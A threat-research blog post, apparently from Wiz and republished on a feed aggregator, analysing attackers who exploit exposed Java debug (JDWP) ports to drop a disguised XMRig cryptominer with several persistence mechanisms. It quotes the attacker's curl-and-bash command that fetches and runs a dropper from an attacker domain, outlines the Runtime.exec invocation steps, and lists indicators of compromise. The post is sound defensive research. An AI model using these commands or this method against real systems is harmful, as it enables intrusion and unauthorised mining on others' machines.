惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

SecWiki News
SecWiki News
D
Darknet – Hacking Tools, Hacker News & Cyber Security
I
Intezer
月光博客
月光博客
Cyberwarzone
Cyberwarzone
雷峰网
雷峰网
Security Latest
Security Latest
量子位
博客园 - 聂微东
小众软件
小众软件
NISL@THU
NISL@THU
C
Cisco Blogs
The GitHub Blog
The GitHub Blog
C
Cybersecurity and Infrastructure Security Agency CISA
T
Tor Project blog
Y
Y Combinator Blog
V
V2EX
博客园 - 三生石上(FineUI控件)
P
Privacy & Cybersecurity Law Blog
F
Full Disclosure
Cisco Talos Blog
Cisco Talos Blog
Microsoft Security Blog
Microsoft Security Blog
S
Security @ Cisco Blogs
The Register - Security
The Register - Security
Google DeepMind News
Google DeepMind News
J
Java Code Geeks
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
IT之家
IT之家
Webroot Blog
Webroot Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
aimingoo的专栏
aimingoo的专栏
腾讯CDC
S
Schneier on Security
L
LINUX DO - 最新话题
Latest news
Latest news
Simon Willison's Weblog
Simon Willison's Weblog
罗磊的独立博客
A
Arctic Wolf
MyScale Blog
MyScale Blog
云风的 BLOG
云风的 BLOG
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
S
Secure Thoughts
S
Securelist
Stack Overflow Blog
Stack Overflow Blog
T
Troy Hunt's Blog
Recorded Future
Recorded Future
I
InfoQ
The Cloudflare Blog
H
Heimdal Security Blog
Hugging Face - Blog
Hugging Face - Blog

Wiz Blog | RSS feed

Meet Wiz for M365: Bringing SaaS into the Security Graph How to Harden GitHub Actions: An Updated Guide Bringing Security Visibility to Vercel with Wiz Axios NPM Distribution Compromised in Supply Chain Attack Tracking TeamPCP: Investigating Post-Compromise Attacks Seen in the Wild The Wiz Blue Agent, now Generally Available Beyond the Badge: What Achieving Microsoft’s Certified Software Designation Means for Your Cloud Security Introducing the Green Agent: AI-Powered Remediation for the Cloud Three’s a Crowd: TeamPCP trojanizes LiteLLM in Continuation of Campaign KICS GitHub Action Compromised: TeamPCP Strikes Again in Supply Chain Attack Introducing the Wiz Red Agent- AI-Powered Attacker Introducing Wiz AI Application Protection Platform (AI-APP) Introducing Wiz Agents & Workflows: Security at the Speed of AI AI Runtime Threat Detection: From Input to Real-World Impact Trivy Compromised: Everything You Need to Know about the Latest Supply Chain Attack It’s Official: Wiz Joins Google Understanding and Reducing AI Risk in Modern Applications Introducing Wiz Tenant Manager: Multi-Tenant Management for Federated Organizations The Agile FedRAMP Playbook, Part 4: Reactive Risk Management through Enriched Incident Response Wiz Achieves CPSTIC Certification in Spain Seeing AI Clearly: Building Visibility Across Modern AI Applications The Agile FedRAMP Playbook, Part 3: Preventative Risk Management by building Secure by Design Wiz Leads the 2026 Latio Application Security Report with awards in 4 categories Building an Agentic Cloud Security Ecosystem: A Reference Architecture with Wiz MCP and Infosys Cyber Next The Agile FedRAMP Playbook, Part 2: Proactive Risk Management with Continuous Monitoring Cloud-native Security for your Windows environment: Announcing the Wiz Runtime Sensor for Windows Would You Click ‘Accept’? Automatically detecting malicious Azure OAuth applications using LLMs Wiz Named a Leader in The Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 From Detection to Remediation: It’s Time to Rethink AppSec Around Exploitability and Root Cause Fixes The Agile FedRAMP Playbook, Part 1: Why Risk is Your Best Starting Point Introducing AI Cyber Model Arena: A Real-World Benchmark for AI Agents in Cybersecurity Wiz + Spotify Backstage: Security at the Developer’s Desk Building AI Security Together: New Ways to Partner with Wiz for AI Security in 2026 Hacking Moltbook: The AI Social Network Any Human Can Control The Year in Wiz Research: 2025 Most Read Blogs WizExtend is Here: AI and Cloud Security Insights in Your Daily Workflow From Detection to Remediation: Wiz in Your JetBrains IDE Agentic Browser Security: 2025 Year-End Review CodeBreach: Infiltrating the AWS Console Supply Chain and Hijacking AWS GitHub Repositories via CodeBuild A 90-Day Action Plan to Turn Resolutions into Results with Wiz Introducing the Wiz Partner Alliance: A New Chapter for Partner Success Preparing for Post-Quantum Cryptography Wiz Recognized as a 2025 Customers’ Choice in the Gartner® Peer Insights™ Voice of the Customer for CNAPP Expanding the Zero Critical Club to set a new standard for AppSec and SecOps teams Snipping the Long Tail of Shai-Hulud 2.0 Protecting Against Zero-Day Vulnerabilities with SOC-Level ASM Alert MongoBleed (CVE-2025-14847) exploited in the wild: everything you need to know The Kenna Transition: Your Strategic Shift to Exposure Management From MCP to Vibe Coding: Full Endpoint Visibility in Wiz AI Security Bringing Oracle Cloud Identity to Wiz Zero‑Days in the Age of AI: Behind the Scenes of ZeroDay.cloud 2025, with a Record High of CVEs in Critical Cloud Infra Gogs 0-Day Exploited in the Wild Code to Cloud Attacks: From Github PAT to Cloud Control Plane Top AWS re:Invent Announcements for Security Teams in 2025 React2Shell: Technical Deep-Dive & In-the-Wild Exploitation of CVE-2025-55182 React2Shell (CVE-2025-55182): Everything You Need to Know About the Critical React Vulnerability Wiz Product Announcements at re:Invent 2025: Expanding Visibility from Code to Cloud Introducing Wiz SAST: Where Code Risk Meets Cloud Context Wiz Becomes Fastest Security ISV to Reach $1 Billion in AWS Marketplace Lifetime Sales It's Here! Wiz Exposure Management is Now GA Shai-Hulud 2.0 Aftermath: Trends, Victimology and Impact Service Catalog is Here: Expand Risk Visibility for Your Service and Its Dependencies, Simplify Issue Ownership WizOS: Powering Secured Image Adoption with AI 3 OAuth TTPs Seen This Month — and How to Detect Them with Entra ID Logs Mastering Software Governance with Hosted Technologies Inventory Shai-Hulud 2.0 Supply Chain Attack: 25K+ Repos Exposing Secrets Get Certified on Wiz Defend for Threat Detection and Response Blueprint for Security: A Guide to Code, Governance, and Response Frameworks Google Unified Security Recommended Program Names Wiz Among First 3 Strategic Partners Introducing Posture Issues: Transform Security Findings into Actionable Outcomes Empower and Accelerate Your SOC with the Blue Agent Exposure Report: 65% of Leading AI Companies Found with Verified Secret Leaks Wizdom 2025 Product Announcements: Extending the Cloud Operating Model When AI Becomes the Heart of Security: Powering a Future You Can Trust AI-Powered Wiz: From Agents to Everyday Intelligence Defend Agentless Workload Detection: Bringing Visibility to Blind Spots in Threat Detection Securing AI Agents with Wiz AI-SPM Introducing Wiz ASM: Context-Driven Attack Surface Management Securing Critical Infrastructure in the Cloud Era: A Policy and Technology Blueprint How CISOs Should Plan Security Budgets for 2026 Beyond the Checkbox: How Wiz Transforms SOC 2 into a Security Powerhouse Bringing Visibility to Kubernetes: Unified Inventory and Network Insight The Foundation Modern AppSec Is Still Missing: Code to Cloud, Rebuilt the Right Way Dismantling a Critical Supply Chain Risk in VSCode Extension Marketplaces Introducing HoneyBee: How We Automate Honeypot Deployment for Threat Research RediShell: Critical Remote Code Execution Vulnerability (CVE-2025-49844) in Redis, 10 CVSS score Defending against database ransomware attacks AI Security 101: Mapping the AI Attack Surface Introducing zeroday.cloud: First-of-its-kind cloud and AI hacking competition Unifying Cloud Risk and Network Defense: Wiz and Check Point The emerging use of malware invoking AI Wiz achieves FedRAMP High authorization Wiz + HCP Terraform: Close the IaC-to-Cloud Infrastructure Security Gap IMDS Abused: Hunting Rare Behaviors to Uncover Exploits Beyond CVEs: The Exploitation of Everyday Misconfigurations Wiz Research Discovers One in Five Organizations Exposed to Systemic Risks in Vibe-Coded Applications - Here's How to Secure Them Introducing Wiz Incident Response: Your Expert Partner for Cloud Security Incidents Shai-Hulud: Ongoing Package Supply Chain Worm Delivering Data-Stealing Malware DORA Compliance in the Cloud Era: Insights from Deloitte and Wiz How Wiz Customers like Brex and FICO See AI Changing Security
Exposed JDWP Exploited in the Wild: What Happens When Debug Ports Are Left Open
Yaara Shriki, Gili Tikochinski · 2025-07-02 · via Wiz Blog | RSS feed

Introduction

During routine monitoring, the Wiz Research Team observed an exploitation attempt targeting one of our honeypot servers running TeamCity, a popular CI/CD tool. Our investigation determined that the attacker had gained remote code execution by abusing an exposed Java Debug Wire Protocol (JDWP) interface, ultimately deploying a cryptomining payload and setting up multiple persistence mechanisms.

We found this attack interesting due to a few key points:

  • Fast Exploitation
    Malware was deployed within just a few hours of exposing the vulnerable machine. We observed this rapid turnaround across multiple attempts.

  • Customized XMRig payload
    The attacker used a modified version of XMRig with a hardcoded configuration, allowing them to avoid suspicious command-line arguments that are often flagged by defenders.

  • Stealthy crypto-mining
    The payload used mining pool proxies to hide their cryptocurrency wallet address, thereby preventing investigators from pivoting on it.

What is JDWP?

JDWP, short for Java Debug Wire Protocol, is a standard feature in the Java platform, designed to help developers debug live applications. It allows remote inspection of threads, memory, and execution flow without restarting the application. To enable it, developers typically start the JVM with a flag like the one below. This setup tells the JVM to listen for debugger connections on port 5005 and accept incoming connections on all interfaces.

However, JDWP does not implement authentication or access control by default, and exposing it to the Internet is considered a misconfiguration. When exposed, it becomes a high-risk entry point, granting attackers full control over the running Java process. In this case, the misconfiguration allowed the adversary to inject and execute arbitrary commands, establish persistence, and execute malware.

While JDWP (Java Debug Wire Protocol) is not enabled by default in most Java applications, it is commonly used in development and debugging environments. Many popular applications automatically start a JDWP server when run in debug mode, often without making the risks obvious to the developer. If improperly secured or left exposed, this can open the door to remote code execution (RCE) vulnerabilities.

Examples of applications that may launch a JDWP server when in debug mode include:

  • TeamCity (a CI/CD server developed by JetBrains)

  • Jenkins (a popular CI tool)

  • Selenium Grid (a distributed browser testing platform)

  • Elasticsearch (Java-based search engine)

  • Quarkus (cloud-native Java framework)

  • Spring Boot (Java framework)

  • Apache Tomcat (an open-source web server)

JDWP Targeting

As previously mentioned, we observed extremely rapid exploitation of exposed JDWP instances. In our tests, after deploying a machine with an exposed JDWP server, our sensors detected exploitation attempts within just a few hours, across multiple instances. This demonstrates that JDWP is a highly targeted service. To support this, we used GreyNoise’s tag-based search feature and found over 6,000 unique IP addresses scanning for JDWP endpoints in the past 90 days.

Attack Flow

During our investigation we observed multiple JDWP exploitation attempts originating from different actors, but for simplicity we decided to focus this blog on a single incident which serves as a good example of the activity as a whole. Note that the indicators of compromise (IoCs) included in the appendix relate to all observed activity, not just this particular incident.

The attacker began by scanning for open JDWP ports across the internet. One of these scans reached our honeypot server, which was exposing JDWP on port 5005. The attacker then sent a JDWP-Handshake request to confirm the interface was active and establish a JDWP session. The JVM responded with version details and a list of loaded classes, confirming that JDWP was indeed exposed and fully interactive.

Above is a screenshot from Wireshark showing the JDWP-Handshake protocol.

From there, the attacker followed a structured sequence to achieve remote code execution, likely using a variant of jdwp-shellifier with additional features. They queried the JVM for available classes and methods, then located java.lang.Runtime and its associated getRuntime() and exec() methods.

The exploitation steps involved:

  1. Creating Java strings containing system commands such as:

    1. curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh>

    2. bash /tmp/logservice.sh

  2. Invoking Runtime.getRuntime() using INVOKESTATICMETHOD_SIG

  3. Passing the command string to exec() using INVOKEMETHOD_SIG

Above is a screenshot from Wireshark showing the JDWP packets that contained the exploitation commands

These steps were repeated using different combinations of commands (wget, sh, etc.) to download and launch the attack payload.

Under the hood, the attacker issued low-level JDWP instructions including CreateString, get_all_classes, get_methods, and method invocation signatures. They operated entirely through JDWP’s protocol, without needing access to the application itself.

logservice.sh

logservice.sh is a dropper script with the following functionality:

  • Kill competing miners or any high‐CPU processes (anything using over 60% CPU except a small allowlist of processes).

  • Drop an XMRig miner sourced from  https[://]awarmcorner[.]world/silicon<architecture>blueprints.png into ~/.config/logrotate and execute it.

  • Install persistent hooks into every shell startup file (.bashrc, .zshrc, etc.), rc.local, systemd, and multiple cron‐jobs, ensuring the payload is re-fetched and re-executed on every shell login, reboot, or scheduled interval.

  • Delete itself on exit, leaving very little trace.

logrotate binary

As previously noted, the attacker deployed the malicious payload under the name logrotate, likely in an effort to blend in with the legitimate system utility of the same name and avoid raising suspicion. In reality, this logrotate binary is a modified variant of XMRig, a legitimate open-source cryptocurrency miner that, unsurprisingly, continues to be a favorite among threat actors for unauthorized crypto-mining. Being open-source, XMRig offers attackers the convenience of easy customization, which in this case involved stripping out all command-line parsing logic and hardcoding the configuration. This tweak not only simplifies deployment but also allows the payload to mimic the original logrotate process more convincingly.

Persistence Mechanisms

After gaining execution, the attacker set up multiple persistence mechanisms. We observed them using a combination of old-school boot scripts, modern systemd services, cron jobs, and shell configuration files:

RC Local

They started by checking the Linux distribution and modifying the appropriate boot file:

Systemd Service

Next, the attacker dropped a fake systemd service that disguised itself as logrotate. In reality, it simply pointed to their malicious binary and was set to restart continuously:

Shell Startup Scripts

To trigger the payload on terminal login or logout, they appended it to user-specific shell config files:

Cron Jobs

Finally, the attacker created cron jobs across multiple locations and time intervals.

How can Wiz help?

Detection 

Wiz can help detect attacks like the one described in this blog in multiple ways: 

  1. Our agentless malware detection detects these types of evolving threats using our proprietary YARA rules catalog.

  2. The Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, alerting you on every step of the attack: from the initial JDWP exploitation, to modifications in crontab and system services, and ultimately, cryptomining activity.

IoCTypeDescription
a923de9df0766d6c4be46191117b8cc6486cf19cSHA-1logservice.sh
1879d5fa0c2ca816fcb261e96338e325e76dca09SHA-1logservice.sh
18d83ba336ca6926ce8b9d68f104cff053f0c2f9SHA-1o.sh - attack script
815bc1a79440cdc4a7e1d876ff2dc7bc4f53d25eSHA-1logrotate
0851a95d46f035c7759782299422bcfd794e2aecSHA-1logrotate
7074d674d120d19aa7e44e29dd126af152ccdb7cSHA-1logrotate
2d4a23e861ef41df6953195fa4cda115e37a7218SHA-1logrotate
baf0a3b92225f56499c6879b176a3d6163b9d3efSHA-1logrotate
ea7c97294f415dc8713ac8c280b3123da62f6e56SHA-1XMRig 6.22
185.196.8[.]123IPFile Server
185.196.8[.]86IPPayloads File Server
176.65.148[.]57IPJDWP scanner
176.65.148[.]86IPJDWP scanner
176.65.148[.]239IPJDWP scanner
185.208.156[.]247:3333IPMining Pool
185.196.8[.]41IPMining Pool
https://awarmcorner[.]worldDomainPayloads File Server
https://aheatcorner[.]worldDomainPrevious Payloads File Server
https://canonicalconnect[.]comDomainPayloads File Server
https://cozy[.]yachtsDomainPrevious Payloads File Server
https://s3.tebi[.]io/dhcpdc/o.shURLPayload URL